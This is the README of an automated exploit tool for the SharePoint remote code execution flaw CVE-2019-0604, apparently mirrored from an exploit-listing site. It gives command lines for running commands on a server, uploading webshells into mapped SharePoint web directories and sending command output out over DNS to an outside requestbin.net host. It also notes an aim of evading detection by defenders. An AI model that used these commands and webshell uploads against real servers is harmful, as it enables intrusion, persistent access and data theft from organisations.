Exploit for Improper Input Validation in Microsoft

## https://sploitus.com/exploit?id=38A11E23-686C-5C12-93FA-4A82D0E04202
# Weaponized CVE-2019-0604

Automated Exploit Tool to Maximize CVE-2019-0604. 

## Requirement

The `requirements.txt` file should list all Python libraries this tool used, and they'll be installed using

```
$ pip install -r requirements.txt
```

## Manual blind exploit (with(out) credential)

```
$ python exploit.py -u  -c whoami --ntlm -U :
```

## Upload function

upload anything cool (webshell, recon tool ...)

```
Upload cmd.aspx to rcmd.aspx
--file-from /path/to/cmd.aspx --file-to /path/to/web_dir/rcmd.aspx
```

### Directory Mapping

```
Sharepoint Default Web Virtual Dir:
C:\inetpub\wwwroot\wss\VirtualDirectories\80\_app_bin\ -> /_app_bin/
C:\inetpub\wwwroot\wss\VirtualDirectories\80\_vti_pvt\ -> /_vti_pvt/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\layouts\ -> /_layouts/15/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\controltemplates\ -> /_controltemplates/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\identitymodel\login\ -> /_login/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\identitymodel\windows\ -> /_windows/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\wpresources\ -> /_wpresources/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\isapi\ -> /_vti_bin/
```

## Use OOB to get command result

### With [collaborator\_http\_api](https://github.com/tree-chtsec/burp-python-plugins) Burp Extension

1. Install `collaborator_http_api.py` into BurpSuite (Pro)?

2. Make sure BurpSuite running on the same machine with this exploit.

3. Fire, enjoy the retrieved output :)

```
$ python exploit.py -u  -c whoami --collab --ntlm -U :
```

![sharepoint-rce-oob-demo](SHAREPOINT_RCE_OOB.png)

### With DNSLog s.t. requestbin.net
```sh
$ python exploit.py -u  -r  --oob 8486990041a11aaa43ce.d.requestbin.net -c "whoami /priv"
```

Get Data From dns
```
2050524956494c4547455320494e464f524d4154494f4e
...
```

Decoded by yourself :)
```
 PRIVILEGES INFORMATION
...
```

## TODO
- [x] Argument Parser
- [x] SharePoint, CVE-2019-0604
- [ ] split cmd into multiple parts (in args.cmds)
- [x] specify binary on demand, avoiding detection by blue team. (hardcode cmd.exe currently)

## Author
* Tree